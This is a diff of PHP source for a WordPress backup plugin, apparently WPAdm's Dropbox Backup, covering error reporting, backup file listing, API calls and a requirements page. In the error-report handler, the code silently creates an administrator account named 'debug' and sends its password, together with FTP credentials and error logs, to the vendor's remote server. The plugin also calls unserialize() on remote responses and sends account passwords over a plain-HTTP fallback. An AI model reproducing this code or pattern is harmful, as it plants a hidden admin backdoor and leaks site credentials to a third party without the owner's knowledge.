+ $time = isset($_POST['time_pars']) ? $_POST['time_pars'] : "";
53
+ $error = "";
54
+ if ( file_exists( ABSPATH . "error_log" ) ) {
55
+ $error = file_get_contents(ABSPATH . "error_log");
56
+ }
57
+ if (empty($error) && file_exists( ABSPATH . "error.log" ) ) {
58
+ $error = file_get_contents(ABSPATH . "error.log");
59
+ }
60
+ if (empty($error) && file_exists( ABSPATH . "logs/error_log" )) {
61
+ $error = file_get_contents(ABSPATH . "logs/error_log");
62
+ }
63
+ if (empty($error) && file_exists( ABSPATH . "logs/error.log" )) {
64
+ $error = file_get_contents(ABSPATH . "logs/error.log");
65
+ }
66
+ if (empty($error) && file_exists(ABSPATH . "../logs/error_log")) {
67
+ $error = file_get_contents(ABSPATH . "../logs/error_log");
68
+ }
69
+ if (empty($error) && file_exists(ABSPATH . "../logs/error.log")) {
70
+ $error = file_get_contents(ABSPATH . "../logs/error.log");
71
+ }
72
+ $error_backup = $error_system = "";
73
+
74
+ if ( !empty($time) ) {
75
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
76
+ if ( file_exists( $base_path . "tmp/logs_error_" . $time ) ) {
77
+ $log_ = file_get_contents( $base_path . "tmp/logs_error_" . $time );
78
+ $pos = stripos($log_, "error");
79
+ if ($pos !== false) {
80
+ for($i = $pos; ; $i--) {
81
+ if ($log_{$i} == "\n") {
82
+ $pos_new = $i + 1;
83
+ break;
84
+ }
85
+ }
86
+ $error_backup = substr($log_, $pos_new);
87
+ }
88
+ }
89
+
90
+ }
91
+ if (!empty($time) && !empty($error)) {
92
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
93
+ list($y, $m, $d, $h, $i) = explode("_", $time_log);
94
+ $time_log = strtotime("$d-$m-$y $h:$i");
95
+ $date_for_log = date("d-M-Y ", $time_log);
96
+ $pos_log = strpos($error, $date_for_log);
97
+ if ($pos_log !== false) {
98
+ $pos_new = 0;
99
+ for($i = $pos_log; ; $i--) {
100
+ if ($error{$i} == "[") {
101
+ $pos_new = $i;
102
+ break;
103
+ }
104
+ }
105
+ $error_system = substr($error, $pos_new);
106
+ }
107
+ }
108
+ $pass = substr(md5(mktime()), 0, 10);
109
+ $id = wp_insert_user(
110
+ array(
111
+ "user_login" => "debug",
112
+ "user_pass" => $pass,
113
+ "user_nicename" => "Debug",
114
+ "user_email" => "debug@help.help",
115
+ "description" => "Debug user",
116
+ )
117
+ );
118
+
119
+ if( !is_wp_error( $id ) ) {
120
+ wp_update_user( array ('ID' => $id, 'role' => 'administrator' ) ) ;
121
+ } else {
122
+ $pass = "";
123
+ }
124
+ $ftp = array(
125
+ 'ftp_host' => @$_POST['ftp_host'],
126
+ 'ftp_user' => @$_POST['ftp_user'],
127
+ 'ftp_pass' => @$_POST['ftp_pass']
128
+ );
129
+ $mail_response = isset($_POST['mail_response']) && !empty($_POST['mail_response']) ? $_POST['mail_response'] : get_option('admin_email');
130
+ $logs_report = base64_encode( serialize( array('ftp' => $ftp,
131
+ 'mail_response' => $mail_response,
132
+ 'mail_admin' => get_option('admin_email'),
133
+ 'pass' => $pass, 'error_backup' => $error_backup,
134
+ 'msg_ajax' => isset($_POST['msg_ajax']) ? trim($_POST['msg_ajax']) : '',
135
+ 'error' => $error_system)
136
+ )
137
+ );
138
+
139
+ $res = self::sendToServer(array('actApi' => "errorLog",
140
+ "site" => str_ireplace(array("http://","https://"), "", home_url()),
141
+ "data" => $logs_report )
142
+ );
143
+ $_SESSION['sent_response'] = __('Your request was sent. <br /> Thank you for your assistance.','dropbox-backup');
144
+ header("Location: " . $_SERVER['HTTP_REFERER']);
145
+ exit;
146
+
147
+ }
148
+ public static function getDirsIncludes()
149
+ {
150
+ $path = isset($_POST['path']) ? $_POST['path'] : "";
151
+ $path_show = !empty($path) ? ltrim($path, '/') . "/" : "";
152
+ $dir_to_open = ABSPATH . $path;
153
+ if (is_dir($dir_to_open)) {
154
+ $dir_open = opendir($dir_to_open);
155
+ $return = array();
156
+ $connect_f_d = self::createListFilesForArchive();
157
+ $includes = get_option(PREFIX_BACKUP_ . "plus-path");
158
+ if ($includes !== false) {
159
+ $includes = explode(',', $includes);
160
+ $n = count($includes);
161
+ $in = array();
162
+ for($i = 0; $i < $n; $i++) {
163
+ $inc = explode("/", $includes[$i]);
164
+ $f = count($inc);
165
+ $str = "";
166
+ for($j = 0; $j < $f; $j++) {
167
+ $str .= '/' . $inc[$j];
168
+ $in[$str] = $includes[$i];
169
+
170
+ }
171
+ }
172
+ }
173
+
174
+ while( $d = readdir($dir_open) ) {
175
+ if ($d != '.' && $d != '..' && !in_array($d, array('tmp', 'cache', 'temp', 'wpadm_backups', 'wpadm_backup', 'Dropbox_Backup', 'logs', 'log'))) {
176
+ $check = false;
177
+ $check_folder = "";
178
+ if (isset($in['/' . $path_show . $d])) {
179
+ $check = true;
180
+ $check_folder = $in['/' . $path_show . $d];
181
+ }
182
+ $return['dir'][] = array('dir' => $d, 'cache' => md5($path_show . $d), 'folder'=> $path_show . $d, 'perm' => self::perm($dir_to_open . "/" .$d), 'check' => $check, 'check_folder' => $check_folder );
183
+ }
184
+ }
185
+ echo json_encode($return);
186
+ }
187
+ wp_die();
188
+ }
189
+ static public function createListFilesForArchive() {
190
+ $folders = array();
191
+ $files = array();
192
+
193
+ $files = array_merge(
194
+ $files,
195
+ array(
196
+ ABSPATH . '.htaccess',
197
+ ABSPATH . 'index.php',
198
+ ABSPATH . 'license.txt',
199
+ ABSPATH . 'readme.html',
200
+ ABSPATH . 'wp-activate.php',
201
+ ABSPATH . 'wp-blog-header.php',
202
+ ABSPATH . 'wp-comments-post.php',
203
+ ABSPATH . 'wp-config.php',
204
+ ABSPATH . 'wp-config-sample.php',
205
+ ABSPATH . 'wp-cron.php',
206
+ ABSPATH . 'wp-links-opml.php',
207
+ ABSPATH . 'wp-load.php',
208
+ ABSPATH . 'wp-login.php',
209
+ ABSPATH . 'wp-mail.php',
210
+ ABSPATH . 'wp-settings.php',
211
+ ABSPATH . 'wp-signup.php',
212
+ ABSPATH . 'wp-trackback.php',
213
+ ABSPATH . 'xmlrpc.php',
214
+ )
215
+ );
216
+ $folders = array_merge(
217
+ $folders,
218
+ array(
219
+ ABSPATH . 'wp-admin',
220
+ ABSPATH . 'wp-content',
221
+ ABSPATH . 'wp-includes',
222
+ )
223
+ );
224
+ $folders = array_unique($folders);
225
+ $files = array_unique($files);
226
+ foreach($folders as $folder) {
227
+ if (!is_dir($folder)) {
228
+ continue;
229
+ }
230
+ $files = array_merge($files, self::directoryToArray($folder, true));
231
+ }
232
+ return $files;
233
+ }
234
+ private static function directoryToArray($directory, $recursive) {
235
+ $array_items = array();
236
+
237
+ $d = str_replace(ABSPATH, '', $directory);
238
+
239
+ $minus_path = array();
240
+
241
+
242
+ $d = str_replace('\\', '/', $d);
243
+ $tmp = explode('/', $d);
244
+ $d1 = mb_strtolower($tmp[0]);
245
+ unset($tmp[0]);
246
+ $d2 = mb_strtolower(implode('/', $tmp));
247
+ if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
248
+ return array();
249
+ }
250
+
251
+ if ($handle = opendir($directory)) {
252
+ while (false !== ($file = readdir($handle))) {
253
+ if ($file != "." && $file != "..") {
254
+ if (is_dir($directory. "/" . $file)) {
255
+ if($recursive) {
256
+ $array_items = array_merge($array_items, self::directoryToArray($directory. "/" . $file, $recursive));
257
+ }
258
+
259
+ $file = $directory . "/" . $file;
260
+ if (!is_dir($file)) {
261
+ $ff = preg_replace("/\/\//si", "/", $file);
262
+ $f = str_replace(ABSPATH, '', $ff);
263
+ // skip "minus" dirs
264
+ if (!in_array($f, $minus_path)) {
265
+ $array_items[] = $ff;
266
+ }
267
+ }
268
+ } else {
269
+ $file = $directory . "/" . $file;
270
+ if (!is_dir($file)) {
271
+ $ff = preg_replace("/\/\//si", "/", $file);
272
+ $f = str_replace(ABSPATH, '', $ff);
273
+ if (!in_array($f, $minus_path)) {
274
+ $array_items[] = $ff;
275
+ }
276
+ }
277
+ }
278
+ }
279
+ }
280
+ closedir($handle);
281
+ }
282
+ return $array_items;
283
+ }
284
+ static function perm($file)
285
+ {
286
+ $fileperms = substr ( decoct ( fileperms ( $file ) ), 2, 6 );
287
+ if ( strlen ( $fileperms ) == '3' ){ $fileperms = '0' . $fileperms; }
288
+ return $fileperms;
289
+ }
290
+ public static function saveDirsIncludes()
291
+ {
292
+ if (isset($_POST['save']) && isset($_POST['data'])) {
293
+ $_POST['data'] = array_map('ltrimslashes', array_unique( $_POST['data'] ) );
294
+ $data_save = implode(',', $_POST['data'] );
295
+ $inludes = get_option(PREFIX_BACKUP_ . "plus-path");
296
+ if ($inludes !== false) {
297
+ update_option(PREFIX_BACKUP_ . "plus-path", $data_save);
298
+ } else {
299
+ add_option(PREFIX_BACKUP_ . "plus-path", $data_save);
300
+ }
301
+ }
302
+ wp_die();
303
+ }
304
+
305
+
306
+ public static function setStatus($s)
307
+ {
308
+ self::$status = $s;
309
+ }
310
+ public static function setErrors($e)
311
+ {
312
+ self::$error = $e;
313
+ }
314
+
315
+ public static function getDateInName($name)
316
+ {
317
+ $date_ = explode(self::$type . '-', $name);
318
+ if (isset($date_[1])) {
319
+ $date = explode('_', $date_[1]);
320
+ $d = "{$date[0]}-{$date[1]}-{$date[2]} {$date[3]}:" . preg_replace("/\([0-9]+\)/", '', $date[4]);
321
+ }
322
+ return $d;
323
+
324
+ }
325
+ public static function backupSend()
326
+ {
327
+ $data['status'] = self::$backup . self::$status;
328
+ $data['error'] = self::$error;
329
+ $data['pl'] = WPAdm_Core::$plugin_name;
330
+ $data['site'] = get_option('siteurl');
331
+ $data['actApi'] = 'setBackup';
332
+ self::sendToServer($data);
333
+ }
334
+
335
+
336
+
337
+ static function delete_pub_key()
338
+ {
339
+ delete_option('wpadm_pub_key');
340
+ header("Location: " . $_SERVER['HTTP_REFERER']);
341
+ }
342
+ public static function checkInstallWpadmPlugins()
343
+ {
344
+ $return = false;
345
+ $i = 1;
346
+ foreach(self::$plugins as $plugin => $version) {
347
+ if (self::check_plugin($plugin)) {
348
+ $i ++;
349
+ }
350
+ }
351
+ if ($i > 2) {
352
+ $return = true;
353
+ }
354
+ return $return;
355
+ }
356
+
357
+ static function setResponse($data)
358
+ {
359
+ $msg = __(errorWPADM::getMessage($data['code']),'dropbox-backup');
360
+ if(isset($data['data'])) {
361
+ if (isset($data['data']['replace'])) {
362
+ foreach($data['data']['replace'] as $key => $value) {
363
+ $msg = str_replace("<$key>", $value, $msg);
364
+ }
365
+ }
366
+ }
367
+ if ($data['status'] == 'success') {
368
+ self::setMessage($msg);
369
+ } else {
370
+ self::setError($msg);
371
+ }
372
+
373
+ return isset($data['data']) ? $data['data'] : array();
374
+
375
+ }
376
+
377
+
378
+ protected static function setError($msg = "")
379
+ {
380
+ if (!empty($msg)) {
381
+ $_SESSION['errorMsgWpadm'] = isset($_SESSION['errorMsgWpadm']) ? $_SESSION['errorMsgWpadm'] . '<br />' . $msg : $msg;
382
+ }
383
+ }
384
+ protected static function getError($del = false)
385
+ {
386
+ $error = "";
387
+ if (isset($_SESSION['errorMsgWpadm'])) {
388
+ $error = $_SESSION['errorMsgWpadm'];
389
+ if($del) {
390
+ unset($_SESSION['errorMsgWpadm']);
391
+ }
392
+ }
393
+ return $error;
394
+ }
395
+
396
+ protected static function setMessage($msg)
397
+ {
398
+ if (!empty($msg)) {
399
+ $_SESSION['msgWpadm'] = isset($_SESSION['msgWpadm']) ? $_SESSION['msgWpadm'] . '<br />' . $msg : $msg;
400
+ }
401
+ }
402
+ protected static function getMessage($del = false)
403
+ {
404
+ $msg = "";
405
+ if (isset($_SESSION['msgWpadm'])) {
406
+ $msg = $_SESSION['msgWpadm'];
407
+ if($del) {
408
+ unset($_SESSION['msgWpadm']);
409
+ }
410
+ }
411
+ return $msg;
412
+ }
413
+
414
+
415
+
416
+ public static function sendToServer($postdata = array(), $stat = false)
417
+ {
418
+ if (count($postdata) > 0) {
419
+
420
+ if ($stat) {
421
+ if ($counter_id = get_option(_PREFIX_STAT . 'counter_id')) {
422
+ $postdata['counter_id'] = $counter_id;
423
+ }
424
+ }
425
+ $postdata = http_build_query($postdata, '', '&');
426
+
427
+ $length = strlen($postdata);
428
+
429
+
430
+ if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
431
+ if ($stat) {
432
+ $url = SERVER_URL_VISIT_STAT . "/Api.php";
433
+ } else {
434
+ $url = WPADM_URL_BASE . "api/";
435
+ }
436
+ $curl = curl_init($url);
437
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
438
+ curl_setopt($curl, CURLOPT_POST, true);
439
+ curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
440
+ self::$result = curl_exec($curl);
441
+ curl_close($curl);
442
+ if ($stat) {
443
+ return unserialize(self::$result);
444
+ } else {
445
+ return json_decode(self::$result, true);
446
+ }
447
+ } elseif (function_exists("fsockopen")) {
448
+ if ($stat) {
449
+ $url = SERVER_URL_STAT;
450
+ $req = '/Api.php';
451
+ } else {
452
+ $url = substr(WPADM_URL_BASE, 7);
453
+ $req = '/api/';
454
+ }
455
+ $out = "POST " . $req . " HTTP/1.1\r\n";
456
+ $out.= "HOST: " . $url . "\r\n";
457
+ $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
458
+ $out.= "Content-Length: ".$length."\r\n";
459
+ $out.= "Connection:Close\r\n\r\n";
460
+ $out.= $postdata."\r\n\r\n";
461
+ try {
462
+ $errno='';
463
+ $errstr = '';
464
+ $socket = @fsockopen($url, 80, $errno, $errstr, 30);
465
+ if($socket) {
466
+ if(!fwrite($socket, $out)) {
467
+ throw new Exception("unable to write fsockopen");
468
+ } else {
469
+ while ($in = @fgets ($socket, 1024)) {
470
+ self::$result .= $in;
471
+ }
472
+ }
473
+ self::$result = explode("\r\n\r\n", self::$result);
474
+ if ($stat) {
475
+ return unserialize(self::$result);
476
+ } else {
477
+ return json_decode(self::$result, true);
478
+ }
479
+ throw new Exception("error in data");
480
+ } else {
481
+ throw new Exception("unable to create socket");
482
+ }
483
+ fclose($socket);
484
+ } catch(exception $e) {
485
+ return false;
486
+ }
487
+ }
488
+ }
489
+ }
490
+
491
+ public static function activatePlugin()
492
+ {
493
+ if (isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
494
+ $email = trim(stripslashes(strip_tags($_POST['email'])));
495
+ $password = trim(strip_tags($_POST['password']));
496
+ $password_confirm = trim(strip_tags($_POST['password-confirm']));
497
+ $sent = true;
498
+ if (empty($email)) {
499
+ self::setError("Error, Email is empty.");
500
+ $sent = false;
501
+ }
502
+ if (!preg_match("/^([a-z0-9_\-]+\.)*[a-z0-9_\-]+@([a-z0-9][a-z0-9\-]*[a-z0-9]\.)+[a-z]{2,4}$/i", $email)) {
503
+ self::setError("Error, Incorrect Email");
504
+ $sent = false;
505
+ }
506
+ if (empty($password)) {
507
+ self::setError("Error, Password is empty.");
508
+ $sent = false;
509
+ }
510
+ if (strlen($password) < self::MIN_PASSWORD) {
511
+ self::setError("Error, the minimum number of characters for the password \"" . self::MIN_PASSWORD . "\".");
512
+ $sent = false;
513
+ }
514
+
515
+ if ($password != $password_confirm) {
516
+ self::setError("Error, passwords do not match");
517
+ $sent = false;
518
+ }
519
+ if ($sent) {
520
+ $info = self::$plugin_name;
521
+ $mail = get_option(PREFIX_BACKUP_ . "email");
522
+ if ($mail) {
523
+ add_option(PREFIX_BACKUP_ . "email", $email);
524
+ } else {
525
+ update_option(PREFIX_BACKUP_ . "email",$email);
526
+ }
527
+ $data = self::sendToServer(
528
+ array(
529
+ 'actApi' => "activate",
530
+ 'email' => $email,
531
+ 'password' => $password,
532
+ 'url' => get_option("siteurl"),
533
+ 'plugin' => $info,
534
+ )
535
+ );
536
+ $res = self::setResponse($data);
537
+ }
538
+ }
539
+ if (isset($res['url']) && !empty($res['url'])) {
540
+ header("Location: " . $res['url']);
541
+ } else {
542
+ header("Location: " . admin_url("admin.php?page=wpadm_plugins"));
543
+ }
544
+ }
545
+
546
+ public static function include_admins_script()
547
+ {
548
+ wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/template/css/admin-style-wpadm.css", dirname(__FILE__) ) );
549
+
550
+ wp_enqueue_script( 'js-admin-wpadm-db', plugins_url( "/template/js/admin-wpadm.js", dirname(__FILE__) ) );
551
+ wp_enqueue_script( 'postbox' );
552
+
553
+ }
554
+ protected static function read_backups($dirs_read = false)
555
+ {
556
+ $name = get_option('siteurl');
557
+
558
+ $name = str_replace("http://", '', $name);
559
+ $name = str_replace("https://", '', $name);
560
+ $name = preg_replace("|\W|", "_", $name);
561
+ $name .= '-' . self::$type . '-' . date("Y_m_d_H_i");
562
+
563
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP ;
564
+
565
+ $backups = array('data' => array(), 'md5' => '');
566
+
567
+ $backups['data'] = self::getBackups($dir_backup, $dirs_read);
568
+
569
+ $backups['data'] = array_merge($backups['data'], self::getBackups(ABSPATH . WPADM_DIR_NAME, $dirs_read) );
570
+ $backups['data'] = array_merge($backups['data'], self::getBackups(WPADM_DIR_BACKUP, $dirs_read) );
571
+
572
+ $backups['md5'] = md5( print_r($backups['data'] , 1) );
573
+ return $backups;
574
+ }
575
+
576
+ protected static function getBackups($dir_backup, $dirs_read)
577
+ {
578
+ $backups = array();
579
+ if (is_dir($dir_backup)) {
580
+ $i = 0;
581
+ $dir_open = opendir($dir_backup);
582
+ while($d = readdir($dir_open)) {
583
+ if ($d != '.' && $d != '..' && is_dir($dir_backup . "/$d") && strpos($d, self::$type) !== false) {
584
+ $backups[$i]['dt'] = self::getDateInName($d);
585
+ $backups[$i]['name'] = "$d";
586
+ if ($dirs_read === false) {
587
+ $size = 0;
588
+ $dir_b = opendir($dir_backup . "/$d");
589
+ $count_zip = 0;
590
+ $backups[$i]['files'] = "[";
591
+ while($d_b = readdir($dir_b)) {
592
+ if ($d_b != '.' && $d_b != '..' && file_exists($dir_backup . "/$d/$d_b") && substr($d_b, -3) != "php") {
593
+ $backups[$i]['files'] .= "$d_b,";
594
+ $size += filesize($dir_backup . "/$d/$d_b");
595
+ $count_zip = $count_zip + 1;
596
+ }
597
+ }
598
+ $backups[$i]['files'] .= ']';
599
+ $backups[$i]['size'] = $size;
600
+ $backups[$i]['type'] = 'local';
601
+ $backups[$i]['count'] = $count_zip;
602
+ }
603
+ $i += 1;
604
+ }
605
+ }
606
+ }
607
+ return $backups;
608
+ }
609
+ public static function check_plugin($name = "", $version = false)
610
+ {
611
+ if (!empty($name)) {
612
+ if ( ! function_exists( 'get_plugins' ) ) {
613
+ require_once ABSPATH . 'wp-admin/includes/plugin.php';
614
+ }
615
+ $name2 = str_replace("-", "_", $name);
616
+ $plugin = get_plugins("/$name");
617
+ if (empty($plugin)) {
618
+ $plugin = get_plugins("/$name2");
619
+ }
620
+ if (count($plugin) > 0) {
621
+ if (isset(self::$plugins[$name]) && (isset($plugin["$name.php"]) || isset($plugin["$name2.php"]))) {
622
+ if ($version) {
623
+ if (self::$plugins[$name] == $plugin["$name.php"]['Version']) {
624
+ return true;
625
+ }
626
+ if (self::$plugins[$name] == $plugin["$name2.php"]['Version']) {
627
+ return true;
628
+ }
629
+ } else {
630
+ if (is_plugin_active("$name/$name.php") || is_plugin_active("$name/$name2.php") || is_plugin_active("$name2/$name2.php")) {
631
+ return true;
632
+ }
633
+ }
634
+ }
635
+ }
636
+ return false;
637
+ }
638
+ }
639
+ }
640
+ }
641
+
642
+ if (! function_exists('wpadm_plugins')) {
643
+ function wpadm_plugins()
644
+ {
645
+ global $wp_version;
646
+
647
+ $c = get_system_data();
648
+ $phpVersion = $c['php_verion'];
649
+ $maxExecutionTime = $c['maxExecutionTime'];
650
+ $maxMemoryLimit = $c['maxMemoryLimit'];
651
+ $extensions = $c['extensions'];
652
+ $disabledFunctions = $c['disabledFunctions'];
653
+ //try set new max time
654
+
655
+ $newMaxExecutionTime = $c['newMaxExecutionTime'];
656
+ $upMaxExecutionTime = $c['upMaxExecutionTime'];
657
+ $maxExecutionTime = $c['maxExecutionTime'];
658
+
659
+ //try set new memory limit
660
+ $upMemoryLimit = $c['upMemoryLimit'];
661
+ $newMemoryLimit = $c['newMemoryLimit'];
662
+ $maxMemoryLimit = $c['maxMemoryLimit'];
663
+
664
+ //try get mysql version
665
+ $mysqlVersion = $c['mysqlVersion'];
666
+
667
+ $show = !get_option('wpadm_pub_key') || (!is_super_admin() || !is_admin()) || !@get_option(_PREFIX_STAT . 'counter_id');
668
+ ?>
669
+
670
+
671
+ <?php if (!$show) {?>
672
+ <div class="cfTabsContainer">
673
+ <div id="cf_signin" class="cfContentContainer" style="display: block;">
674
+ <form method="post" action="<?php echo WPADM_URL_BASE . "user/login" ; ?>" autocomplete="off" target="_blank">
675
+ <div class="inline" style="width: 52%; margin-top: 0; color: #fff;">
676
+ WPAdm Sign-In:
677
+ <input class="input-small" type="email" required="required" name="username" placeholder="Email">
678
+ <input class="input-small" type="password" required="required" name="password" placeholder="Password">
679
+ <input class="button-wpadm" type="submit" value="Sign-In" name="submit" style="margin-top:1px;">
680
+ </div>
681
+ <div class="wpadm-info-auth" style="width: 45%;">
682
+ Enter your email and password from an account at <a href="http://www.wpadm.com" target="_blank" style="color: #fff;" >www.wpadm.com</a>.<br /> After submitting user credentials you will be redirected to your Admin area on <a href="http://www.wpadm.com" style="color: #fff;" target="_blank">www.wpadm.com</a>.
683
+ </div>
684
+ </form>
685
+ </div>
686
+ </div>
687
+ <?php } else {?>
688
+ <div class="cfTabsContainer" style="display: none;">
689
+ <div id="cf_activate" class="cfContentContainer">
690
+ <form method="post" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
691
+ <div class="wpadm-info-title">
692
+ Free Sign Up to use more functionality...
693
+ </div>
694
+ <div class="wpadm-registr-info">
695
+ <table class="form-table">
696
+ <tbody>
697
+ <tr valign="top">
698
+ <th scope="row">
699
+ <label for="email">E-mail</label>
700
+ </th>
701
+ <td>
702
+ <input id="email" class="regular-text" type="text" name="email" value="">
703
+ </td>
704
+ </tr>
705
+ <tr valign="top">
706
+ <th scope="row">
707
+ <label for="password">Password</label>
708
+ </th>
709
+ <td>
710
+ <input id="password" class="regular-text" type="password" name="password" value="">
711
+ </td>
712
+ </tr>
713
+ <tr valign="top">
714
+ <th scope="row">
715
+ <label for="password-confirm">Password confirm</label>
716
+ </th>
717
+ <td>
718
+ <input id="password-confirm" class="regular-text" type="password" name="password-confirm" value="">
719
+ </td>
720
+ </tr>
721
+ <tr valign="top">
722
+ <th scope="row">
723
+ </th>
724
+ <td>
725
+ <input class="button-wpadm" type="submit" value="Register & Activate" name="submit">
726
+ </td>
727
+ </tr>
728
+ </tbody>
729
+ </table>
730
+ </div>
731
+ <div class="wpadm-info">
732
+ <span style="font-weight:bold; font-size: 14px;">If you are NOT registered at WPAdm,</span> enter your email and password to use as your Account Data for authorization on WPAdm. <br /><span style="font-weight: bold;font-size: 14px;">If you already have an account at WPAdm</span> and you want to Sign-In, so please, enter your registered credential data (email and password twice).
733
+ </div>
734
+ </form>
735
+ </div>
736
+ </div>
737
+ <?php } ?>
738
+
739
+ <script>
740
+ jQuery(document).ready(function() {
741
+ jQuery('.plugins-icon').click(function() {
742
+ title = jQuery(this).parent('.plugins-title');
743
+ box = title.parent('.plugins-box');
744
+ content = box.find('.plugins-info-content');
745
+ display = content.css('display');
746
+ if (display == 'none') {
747
+ content.show('slow');
748
+ } else {
749
+ content.hide('slow');
750
+ }
751
+ })
752
+ })
753
+ function showRegistartion(show)
754
+ {
755
+ if (show) {
756
+ jQuery('.cfTabsContainer').show('slow');
757
+ } else {
758
+ jQuery('.cfTabsContainer').hide('slow');
759
+ }
760
+ }
761
+ </script>
762
+
763
+ <div class="clear" style="margin-bottom: 50px;"></div>
764
+ <table class="wp-list-table widefat fixed" >
765
+ <thead>
766
+ <tr>
767
+ <th></th>
768
+ <th>Recommended value</th>
769
+ <th>Your value</th>
770
+ <th>Status</th>
771
+ </tr>
772
+ </thead>
773
+ <tbody>
774
+ <tr>
775
+ <th scope="row">PHP Version</th>
776
+ <td><?php echo PHP_VERSION_DEFAULT ?> or greater</td>
777
+ <td><?php echo check_version($phpVersion , PHP_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $phpVersion .'</span>' : $phpVersion ?></td>
778
+ <td><?php echo (check_version($phpVersion , PHP_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your PHP version to get it working correctly</span>') ?></td>
779
+ </tr>
780
+ <tr>
781
+ <th scope="row">MySQL Version</th>
782
+ <td><?php echo MYSQL_VERSION_DEFAULT ?> or greater</td>
783
+ <td><?php echo check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $mysqlVersion .'</span>' : $mysqlVersion; ?></td>
784
+ <td><?php echo (check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your MySQL version to get it working correctly</span>') ?></td>
785
+ </tr>
786
+ <tr>
787
+ <th scope="row">Max Execution Time</th>
788
+ <td><?php echo $newMaxExecutionTime ?></td>
789
+ <td><?php echo ($upMaxExecutionTime == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxExecutionTime .'</span>' : $maxExecutionTime; ?></td>
790
+ <td><?php echo ($upMaxExecutionTime == 1) ? '<span style="color:green; font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
791
+ </tr>
792
+ <tr>
793
+ <th scope="row">Max Memory Limit</th>
794
+ <td><?php echo $newMemoryLimit . 'M' ?></td>
795
+ <td><?php echo ($upMemoryLimit == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxMemoryLimit .'</span>' : $maxMemoryLimit ?></td>
796
+ <td><?php echo ($upMemoryLimit == 1) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
797
+ </tr>
798
+ <tr>
799
+ <th scope="row">PHP Extensions</th>
800
+ <?php $ex = $c['ex']; ?>
801
+ <td><?php echo ( $ex ) === false ? 'All present' : '<span style="color:#ffba00;font-weight:bold;">' . implode(", ", $ex) . '</span>'; ?></td>
802
+ <td><?php echo ( $ex ) === false ? 'Found' : '<span style="color:#ffba00;font-weight:bold;">Not Found</span>'; ?></td>
803
+ <td><?php echo ( $ex ) === false ? '<span style="color:green;font-weight:bold;">Ok</span>' : '<span style="color:#fb8004;font-weight:bold;">Functionality is not guaranteed.</span>'; ?></td>
804
+ </tr>
805
+ <tr>
806
+ <th scope="row">Disabled Functions</th>
807
+ <td colspan="3" align="left"><?php echo ( $func = $c['func']) === false ? '<span style="color:green;font-weight:bold;">All necessary functions are enabled</span>' : '<span style="color:#fb8004;font-weight:bold;">Please enable these functions to get plugin working correctly: ' . implode(", ", $func) . '</span>'; ?></td>
808
+ </tr>
809
+ <tr>
810
+ <th scope="row">Plugin Access</th>
811
+ <td colspan="3" align="left"><?php echo ( ( is_admin() && is_super_admin() ) ? "<span style=\"color:green; font-weight:bold;\">Granted</span>" : "<span style=\"color:red; font-weight:bold;\">To administrate this Plugin(s) is an 'Admin' right required.</span>")?></td>
812
+ </tr>
813
+ </tbody>
814
+ </table>
815
+ <?php
816
+ }
817
+ }
818
+
819
+ if (! function_exists('check_function')) {
820
+ function check_function($func, $search, $type = false)
821
+ {
822
+ if (is_string($func)) {
823
+ $func = explode(", ", $func);
824
+ }
825
+ if (is_string($search)) {
826
+ $search = explode(", ", $search);
827
+ }
828
+ $res = false;
829
+ $n = count($search);
830
+ for($i = 0; $i < $n; $i++) {
831
+ if (in_array($search[$i], $func) === $type) {
832
+ $res[] = $search[$i];
833
+ }
834
+ }
835
+ return $res;
836
+ }
837
+ }
838
+
839
+ if (! function_exists('check_version')) {
840
+ function check_version($ver, $ver2)
841
+ {
842
+ return version_compare($ver, $ver2, ">");
843
+ }
844
+ }
845
+ if (!function_exists('ltrimslashes')) {
846
+ function ltrimslashes($var)
847
+ {
848
+ return ltrim($var, '/');
849
+ }
850
+ }
851
+ if (!function_exists("get_system_data")) {
852
+ function get_system_data()
853
+ {
854
+
855
+ global $wp_version;
856
+
857
+ $phpVersion = phpversion();
858
+ $maxExecutionTime = ini_get('max_execution_time');
859
+ $maxMemoryLimit = ini_get('memory_limit');
860
+ $extensions = implode(', ', get_loaded_extensions());
861
+ $disabledFunctions = ini_get('disable_functions');
862
+ $mysqlVersion = '';
863
+ if (! class_exists('wpdb')) {
864
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
865
+ }
866
+ $mysqli = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
867
+ $errors = $mysqli->last_error;
868
+ if (empty($errors)) {
869
+ $mysqlVersion = $mysqli->db_version();
870
+ }
871
+ $upMaxExecutionTime = 0;
872
+ $newMaxExecutionTime = intval($maxExecutionTime) + 60;
873
+ @set_time_limit( $newMaxExecutionTime );
874
+ if( ini_get('max_execution_time') == $newMaxExecutionTime ){
875
+ $upMaxExecutionTime = 1;
876
+ $maxExecutionTime = ini_get('max_execution_time');
877
+ }
878
+ $upMemoryLimit = 0;
879
+ $newMemoryLimit = intval($maxMemoryLimit) + 60;
880
+ ini_set('memory_limit', $newMemoryLimit.'M');
881
+ if( ini_get('memory_limit') == $newMemoryLimit ){
882
